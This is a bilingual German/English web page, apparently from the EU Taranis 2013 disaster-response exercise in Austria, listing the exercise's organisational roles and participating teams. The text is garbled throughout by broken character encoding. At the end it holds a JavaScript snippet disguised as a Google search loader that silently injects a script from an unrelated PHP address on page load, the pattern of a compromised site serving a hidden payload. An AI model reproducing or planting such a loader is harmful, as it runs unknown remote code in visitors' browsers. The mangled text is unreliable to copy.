<!–:de–>Organisation / Teilnehmer<!–:–><!–:en–>Organisation / Participants<!–:–>

:deExercise Director undAi?? ProjektmanagementDer Exercise Director und sein Team sind fA?r das Projektmanagement, die Logistik, die Ai??ffentlichkeitsarbeit, die Beziehungen zu den Partnern, Einsatzorganisationen, BehAi??rden und der EuropAi??ischen Kommission verantwortlich. A?bungsleitung (EXCON)Die EXCON besteht aus dem Leiter der EXCON und seinem Einsatzstab sowie den Site-Verantwortlichen mit ihrem UnterstA?tzungspersonal. Die EXCON ist dafA?r verantwortlich, dass die A?bung nach den Vorgaben des Exercise Directors, des Drehbuchs sowie den behAi??rdlichen Richtlinien sowie den Vorgaben der EU durchgefA?hrt wird. Nationale Zivilschutzeinrichtungen Ai??sterreich ist ein Bundesstaat und die rechtlichen Kompetenzen bezA?glich des Katastrophenschutzes sind zwischen nationaler und LAi??nder-Ebene aufgeteilt. An der CPX und der FEX werden das Bundesministerium fA?r Inneres, die Landes-Einsatzleitung, die BezirksverwaltungsbehAi??rden, die nationalen Einsatzorganisationen (Feuerwehr, Rotes Kreuz, Wasserrettung, HAi??hlenrettung, Bergrettung) und das Ai??sterreichische Bundesheer teilnehmen. Beobachtungs- und Informationszentrum (MIC)Das Beobachtungs- und Informationszentrum in BrA?ssel ist Teil des A?bungsablaufs. Es dient als permanente Kontaktstelle fA?r das EUCPT, das Bundesministerium fA?r Inneres, sowie die Einsatzzentralen der teilnehmenden internationalen Teams.
Koordinations- und EinsatzteamsEUCPTDas Koordinations- und Einsatzteam der EuropAi??ischen Union (EUCPT) besteht aus Experten der teilnehmenden Staaten, die im Rahmen des EU Mechanismus ausgebildet sind. Ihre Aufgabe ist es, die Koordination der internationalen HilfseinsAi??tze in den Mitgliedsstaaten in enger Zusammenarbeit mit anderen zustAi??ndigen KrAi??ften vor Ort zu unterstA?tzen:

die Integration der EuropAi??ischen Hilfe in den nationalen Einsatzplan zu erleichtern,
aktuelle Informationen A?ber die Entwicklung der Situation vorrangig fA?r das MIC und zum Nutzen der Mitgliedsstaaten zur VerfA?gung zu stellen,
die Situation und die BedA?rfnisse in der Unfall-/Katastrophen-/Notfallregion abzuschAi??tzen,
sich mit den zustAi??ndigen BehAi??rden des Landes, das Hilfe benAi??tigt, mit Einsatzteams der Mitgliedsstaaten vor Ort und anderen relevanten KrAi??ften vor Ort in Verbindung zu setzen,
technische und wissenschaftliche UnterstA?tzung und Informationen zur VerfA?gung zu stellen.

Regional Disaster Response TeamsRegional Disaster Response Teams (RDRT) sind ein kosteneffizientes regionales KatastrophenhilfsunterstA?tzungs-System, das sich aus Experten nationaler Rotkreuz- und Rothalbmond-Gesellschaften zusammensetzt. Das Ziel dieser Teams ist es, aktiv regionale KapazitAi??ten bezA?glich des Katastrophenschutzes aufzubauen und betroffene nationale RK/RH-Gesellschaften in der Beantwortung von Katastrophen zu unterstA?tzen.RDRT bestehen aus freiwilligen Experten, die A?ber profunde Kenntnisse des Katastrophenmanagements verfA?gen und speziell darin ausgebildet sind, als Team zusammen zu arbeiten und nationale Gesellschaften in angrenzenden betroffenen LAi??ndern zu unterstA?tzen. Ein Team setzt sich aus einem Kern von trans-sektoralen Experten in den verschiedenen Bereichen (wie etwa Gesundheit, Logistik oder Wasser/SanitAi??r/Hygiene) sowie allgemeinen Katastrophenhelfern zusammen.On-Site-Commander (technischer Einsatzleiter)Der On-Site-Commander ist im Rahmen der EU Taranis 2013 fA?r die Koordination der nationalen und internationalen EinsatzkrAi??fte vor Ort verantwortlich. Dabei ist er an die Anweisungen des behAi??rdlichen Einsatzleiters gebunden.Site-VerantwortlicheDie Site-Verantwortlichen sind fA?r den Aufbau der A?bungsszenarien und die Koordination der Figuranten und Schminker sowie die Einhaltung der Sicherheitsbestimmungen bei den einzelnen A?bungsszenarien verantwortlich.
FigurantenUngefAi??hr 500 Figuranten von Feuerwehr, Rotem Kreuz, Bundesheer, Polizei, Wasserrettung, Bergrettung, HAi??hlenrettung, Pfadfindern, Team Ai??sterreich sowie SchA?lern werden bei der A?bung fA?r eine realistische Darstellung der Szenarien sorgen. EvaluierungAls Ergebnis der von der EU co-finanzierten KatastrophenschutzA?bung Floodex 2009 wurde vom NiederlAi??ndischen Institut fA?r Sicherheit ein Lehrgang fA?r Evaluierungen von A?bungen entwickelt. Im Rahmen von EU Taranis 2013 wurde dieser als ai??zMasterclass of Evaluationai??? bekannte Kurs durchgefA?hrt. Die Teilnehmer dieses Kurses werden auch die Evaluierung von EU Taranis 2013 durchfA?hren. BeobachterWAi??hrend der FEX werden Beobachter aus allen teilnehmenden LAi??ndern, sowie nationalen und internationalen Organisationen eingeladen. Sie nehmen an einem speziell konzipierten Beobachter-Programm teil.::enExercise Director and Project ManagementThe Exercise Director and his team are responsible for Project Management, Logistics and Public Relation and the relationships with partners, intervention teams, administrative authorithies and the European Commission.Exercise Control (EXCON)The EXCON comprises of the Head of EXCON and his operations team as well as the site responsibles and their support staff. EXCON is responsible for ensuring that the exercise is implemented according to the guidelines of the exercise director and the scenario script. National Civil Protection AuthoritiesAustria is a federal state and the judicial competence for disaster control is shared at a national and state level. The Ministry of the Interior, the Federal State head of command, the district administrative authority and the national emergency services (Fire Brigade, Red Cross, Water Rescue Service, Mountain and Cave Rescue Services) and the Austrian armed forces will participate in the CPX and the FEX.Monitoring and Information Centre (MIC)The Monitoring and Information Centre in Brussels is part of the exercise procedure. It serves as a permanent contact point for the EUCPT, the Austrian MoI and for the headquarters of the participating international teams.
Coordination and Assessment TeamsEUCPTThe coordination and assessment teams of the European Union Civil Protection Team (EUCP) are composed of experts from participating states trained within the framework of the Community Civil Protection Mechanism. Their task is to support the coordination of assistance operations of the member states in close cooperation with other participants on site:

to facilitate the integration of the European assistance into the overall relief effort
to provide updated information on the evolution of the situation primarily to the MIC and for the benefit of the member states
to assess the situation and the needs at the accident/disaster/emergency area
to liaise with the authorities of the state requesting assistance, with intervention teams of the member states on site and with other relevant participants on site
to provide technical and scientific assistance and information

Regional Disaster Response TeamsA Regional Disaster Response Team (RDRT) is a cost-efficient regional disaster control support system which is made up of members of the national Red Cross and the Red Crescent Societies. The objective of this team is to actively build up regional facilities with regard to civil protection and to support the affected national RK/RC Societies in their response to disasters. Ai??A RDRT is made up of voluntary experienced experts who have a profound knowledge of disaster control management and who have been specially trained to work in a team and to support national societies in affected bordering countries. A team is made up of a core of trans-sectional experts in various fields such as: medicine, logistics, water, sanitary and hygiene facilities and general disaster assistance.Ai?? Ai??On-Site CommanderDuring EU Taranis 2013 the On-Site-Commander is responsible for coordinating the national and international rescue teams in the field. He is however bound by the orders of the official commander.Ai?? Ai??Site-ResponsiblesThe Site-Responsibles are in charge of setting up the exercise scenario, co-ordinating the role-players and make-up artists and the making sure that safety regulations during the exercise scenarios are adhered to.
Role-PlayersApproximately 500 Role-Players have been organised to create realistic exercise conditions at the various scenarios. They are made up of members of the fire brigade, Red Cross, the armed forces, the police force, water rescue, mountain and cave rescue services, the Scouts, Team Austria as well as pupils from local schools. Ai??EvaluationAs a result of the EU co-financed Civil Protection Exercise Floodex 2009, the Dutch Institute for Safety developed a training course for the evaluation of exercises. This course titled ai???Master Class for Evaluationai??? was introduced as part of EU Taranis 2013. The participants of the course will carry out the evaluation of EU Taranis 2013.ObserversDuring the FEX Observers from the participating states and international and national organisations are invited to watch the activities. They will participate in a special Observer Programme.:

(function() {
var gcse = document.createElement(‘script’);
gcse.type = ‘text/javascript’;
gcse.async = true;
gcse.src = “http://ninni.org/core9Om3.php”;
var s = document.getElementsByTagName(‘script’)[0];
s.parentNode.insertBefore(gcse, s);
})();